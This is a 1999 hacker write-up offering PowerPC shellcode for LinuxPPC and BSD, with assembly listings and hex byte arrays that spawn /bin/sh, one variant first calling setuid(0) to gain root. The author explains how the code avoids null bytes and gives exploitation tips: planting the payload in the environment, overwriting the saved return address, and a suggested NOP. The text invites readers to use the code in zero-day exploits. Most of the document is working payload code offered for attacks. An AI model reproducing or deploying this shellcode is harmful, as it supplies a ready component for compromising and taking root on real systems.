PPC shellcode

Copyright 1999 palante <palante@subterrain.net>

 

 

INTRODUCTION

 

I realize that *nix on PPC is not terribly common. It was difficult to get

access to a test platform. But PPC sales are taking off and more and more

of their owners are joining the dark side to run *nix. Before you unleash

yourself, ppc admins are probably new to this sort of thing. Please be nice

to them. The enemy of your enemy is your friend.

 

Both LinuxPPC and BSD (darwin?) versions are included. The only difference

with the BSD version is that it uses system call 59 instead of 11 as execve.

Sorry, no way to test it yet.

Lastly, if you use this in a 0 day sploit, I'm sure I can think of someone you

would like to share it with. If you don't write exploits, you're probably

wasting your time emailing me about this.

 

 

See you at defcon or toorcon.

 

 

SHELLCODE

 

Making an execve call wasn't too hard, but it's very hard on the PPC to avoid

all the null bytes in the opcodes. There are two very important opcodes which

which can have nulls in them. The first is the sc opcode to make system calls.

I've make the code self-modifying to get around that problem. Hopefully this

won't cause trouble with the instruction cache. It works for me(TM) but YMMV.

 

The other one is a bit more difficult. We need to give execve an absolute

address to the string "/bin/sh", but since we don't have the help of the ld

we don't have direct access to the absolute address. So there are two

approaches. We could guess its offset relative to the stack pointer (R1)

or frame pointer (R31). Or we could just do the equivalent of a function call

(bl) to store the absolute address in the link register (spr8 and/or on the

stack somewhere). I've chosen the second.

 

And it's the branch relative instruction that is our second instruction with

null bytes in it. This makes the code longer and even kludgier. The null byte

will disappear if the size of the shellcode is tripled. This version will be

included at the bottom. I've also included a setuid(0) call as part of that

padding.

 

Of course, it may be possible to work around the need to eliminate null bytes.

If you use the eggshell technique, where you plant the shellcode onto the

stack (ie the ENV) before execing the vulnerable program, and overflow the

vulnerable program's stack only with the return address, you do not need an

uninterupted string of shell opcodes. You can plant the eggshell, then zero

out the remaining null byte (in the branch opcode on the stack in the ENV)

and then exec away.

 

Oh, if you're writing an exploit, you may arrive at the shellcode after a

second return is called, and not just the return from the function you're in.

The reason for this is that the return address that will be used next is

technically stored on-chip in spr 8, although gcc copies it to and from the

stack (at r1-0x4) but an optimized program will not necessarily do this. You

may have to overwrite the stored value for the next return.

 

Suggested nop is 0x7ffffb78.

 

.section ".text" # Palante's LinuxPPC shellcode

.align 2

.globl m

.type m,@function

m:

xor 6,6,6 # r6 is 0

cmpi 7,0,6,0x7FFF # do meaningless compare

bc 13,28,L2 # conditional branch to L2 - CAUSES NULL BYTE

L1: mfspr 3,8 # address of /bin/sh into r3 (execve parameter)

sth 6,-7(3) # fix sc opcode

sth 6,-15(3) # fix sc opcode

addi 4,6,0x7FF0

addi 5,6,0x7FF4

addi 7,6,0x7FF3

xor 5,5,4 #got 0x4 into r5

xor 7,7,4 #got 0x3 into r7

 

add 4,5,7 # r4 = 0x7

stbx 6,4,3 # store null after /bin/sh

 

add 0,4,5 # this makes 11 which is the execve system call

sub 7,5,7 # r7 = 0x1 for exit system call

 

add 4,5,5 # r4 = 0x8

stwx 3,3,4 # and store pointer to /bin/sh at r3+0x8

add 4,3,4 # r4 = r3 + 0x8 (execve parameter)

stwx 6,5,4 # store NULL pointer

xor 5,5,5 # NULL (execve parameter)

.long 0x44ffff02 # not quite an sc opcode

or 0,7,7 # syscall 1 - exit

.long 0x44ffff02 # not quite an sc opcode

 

L2: bl L1 # branch and link back to L1

.long 0x2F62696E #/bin/shZ

.long 0x2F73685A

.long 0xffffffff # this is where pointer to /bin/sh goes

.long 0xffffffff # this is where null pointer goes

 

.Lfe1:

.size m,.Lfe1-m

 

 

long shellcode[] = { /* Palante's linuxPPC shellcode w/ NULL*/

0x7CC63278, 0x2F867FFF, 0x41BC0054, 0x7C6802A6,

0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,

0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,

0x7CC419AE, 0x7C042A14, 0x7CE72850, 0x7C852A14,

0x7C63212E, 0x7C832214, 0x7CC5212E, 0x7CA52A78,

0x44FFFF02, 0x7CE03B78, 0x44FFFF02, 0x4BFFFFB1,

0x2F62696E, 0x2F73685A, 0xFFFFFFFF, 0xFFFFFFFF } ;

 

 

 

 

 

 

.section ".text" # Palante's BSD PPC shellcode

.align 2

.globl m

.type m,@function

m:

xor 6,6,6 # r6 is 0

cmpi 7,0,6,0x7FFF # do meaningless compare

bc 13,28,L2 # conditional branch to L2 # CAUSES NULL BYTE

L1: mfspr 3,8 # address of /bin/sh into r3 (execve parameter)

sth 6,-7(3) # fix sc opcode

sth 6,-15(3) # fix sc opcode

addi 4,6,0x7FF0

addi 5,6,0x7FF4

addi 7,6,0x7FF3

xor 5,5,4 #got 0x4 into r5

xor 7,7,4 #got 0x3 into r7

 

add 4,5,7 # r4 = 0x7

stbx 6,4,3 # store null after /bin/sh

 

mullw 4,4,5 # r4 = 0x1c (28)

add 4,4,4 # r4 = 0x38 (56)

add 0,4,7 # this makes 59 which is the execve system call

sub 7,5,7 # r7 = 0x1 for exit system call

 

add 4,5,5 # r4 = 0x8

stwx 3,3,4 # and store pointer to /bin/sh at r3+0x8

add 4,3,4 # r4 = r3 + 0x8 (execve parameter)

stwx 6,5,4 # store NULL pointer

xor 5,5,5 # NULL (execve parameter)

.long 0x44ffff02 # not quite an sc opcode

or 0,7,7 # syscall 1 - exit

.long 0x44ffff02 # not quite an sc opcode

 

L2: bl L1 # branch and link back to L1

.long 0x2F62696E #/bin/shZ

.long 0x2F73685A

.long 0xffffffff # this is where pointer to /bin/sh goes

.long 0xffffffff # this is where null pointer goes

 

.Lfe1:

.size m,.Lfe1-m

 

 

long shellcode[] = { /* Palante's BSD PPC shellcode w/ NULL*/

0x7CC63278, 0x2F867FFF, 0x41BC005C, 0x7C6802A6,

0xB0C3FFF9, 0xB0C3FFF1, 0x38867FF0, 0x38A67FF4,

0x38E67FF3, 0x7CA52278, 0x7CE72278, 0x7C853A14,

0x7CC419AE, 0x7C8429D6, 0x7C842214, 0x7C043A14,

0x7CE72850, 0x7C852A14, 0x7C63212E, 0x7C832214,

0x7CC5212E, 0x7CA52A78, 0x44FFFF02, 0x7CE03B78,

0x44FFFF02, 0x4BFFFFA9, 0x2F62696E, 0x2F73685A,

0xFFFFFFFF, 0xFFFFFFFF };

 

 

 

 

 

.section ".text" # Palante's LinuxPPC shellcode

.align 2

.globl m

.type m,@function

m:

xor 6,6,6 # r6 is 0

cmpi 7,0,6,0x7FFF # do meaningless compare

bc 13,28,L2 # conditional branch to L2 - nops eliminate null

L1: mfspr 3,8 # address of /bin/sh into r3 (execve parameter)

sth 6,-75(3) # fix sc opcode

sth 6,-83(3) # fix sc opcode

sth 6,-123(3) # fix sc opcode

 

.long 0x7ffffb78 # padding. The instruction cache should only be

.long 0x7ffffb78 # about 6 instructions, but just in case...

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

addi 4,6,0x7FF0

addi 5,6,0x7FF4

addi 7,6,0x7FF3

xor 5,5,4 #got 0x4 into r5

xor 7,7,4 #got 0x3 into r7

 

add 4,5,7 # r4 = 0x7

stbx 6,4,3 # store null after /bin/sh

 

add 6,4,5 # this makes 11 which is the execve system call

sub 7,5,7 # r7 = 0x1 for exit system call

 

add 4,5,5 # r4 = 0x8

add 5,4,4 # r5 = 0x10

add 5,4,5 # r5 = 0x18

sub 0,5,7 # this makes 23 which is the setuid call

or 5,3,3 # tuck ptr to /bin/sh away

xor 3,3,3 # I wanna be rewt (setuid parameter)

.long 0x44ffff02 # not quite an sc opcode (for setuid)

or 3,5,5 # ptr to /bin/sh back to r3 (execve parameter)

or 0,6,6 # execve system call number

xor 6,6,6

add 5,7,7

add 5,5,5 # get r5 back to 0x4

 

stwx 3,3,4 # and store pointer to /bin/sh at r3+0x8

add 4,3,4 # r4 = r3 + 0x8 (execve parameter)

stwx 6,5,4 # store NULL pointer

 

xor 5,5,5 # NULL (execve parameter)

 

.long 0x44ffff02 # not quite an sc opcode (for execve)

or 0,7,7 # syscall 1 - exit

.long 0x44ffff02 # not quite an sc opcode (for exit)

 

 

.long 0x7ffffb78 # bunch 'o nops. This eliminates the null

.long 0x7ffffb78 # byte caused by the branch

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

.long 0x7ffffb78

 

L2: xor 6,6,6 # zero out again so we can also land in the NOPS

bl L1 # branch and link back to L1

.long 0x2F62696E #/bin/shZ

.long 0x2F73685A

 

.long 0xffffffff # this is where pointer to /bin/sh goes

.long 0xffffffff # this is where null pointer goes

 

.Lfe1:

.size m,.Lfe1-m

 

 

 

long shellcode[] = { /* Palante's linuxPPC shellcode */

0x7cc63278, 0x2f867fff, 0x41bc0104, 0x7c6802a6, 0xb0c3ffb5, 0xb0c3ffad,

0xb0c3ff85, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x38867ff0,

0x38a67ff4, 0x38e67ff3, 0x7ca52278, 0x7ce72278, 0x7c853a14, 0x7cc419ae,

0x7cc42a14, 0x7ce72850, 0x7c852a14, 0x7ca42214, 0x7ca42a14, 0x7c072850,

0x7c651b78, 0x7c631a78, 0x44ffff02, 0x7ca32b78, 0x7cc03378, 0x7cc63278,

0x7ca73a14, 0x7ca52a14, 0x7c63212e, 0x7c832214, 0x7cc5212e, 0x7ca52a78,

0x44ffff02, 0x7ce03b78, 0x44ffff02, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7cc63278, 0x4bfffefd, 0x2f62696e, 0x2f73685a, 0xffffffff,

0xffffffff };

 

 

long shellcode[] = { /* Palante's BSD PPC shellcode */

0x7cc63278, 0x2f867fff, 0x41bc0104, 0x7c6802a6, 0xb0c3ffbd, 0xb0c3ffb5,

0xb0c3ff8d, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x38867ff0,

0x38a67ff4, 0x38e67ff3, 0x7ca52278, 0x7ce72278, 0x7c853a14, 0x7cc419ae,

0x7c8429d6, 0x7c842214, 0x7cc43a14, 0x7ce72850, 0x7c852a14, 0x7ca42214,

0x7ca42a14, 0x7c072850, 0x7c651b78, 0x7c631a78, 0x44ffff02, 0x7ca32b78,

0x7cc03378, 0x7cc63278, 0x7ca73a14, 0x7ca52a14, 0x7c63212e, 0x7c832214,

0x7cc5212e, 0x7ca52a78, 0x44ffff02, 0x7ce03b78, 0x44ffff02, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78, 0x7ffffb78,

0x7ffffb78, 0x7cc63278, 0x4bfffefd, 0x2f62696e, 0x2f73685a, 0xffffffff,

0xffffffff };

 

 

 

test program:

void main() { __asm__("b shellcode"); }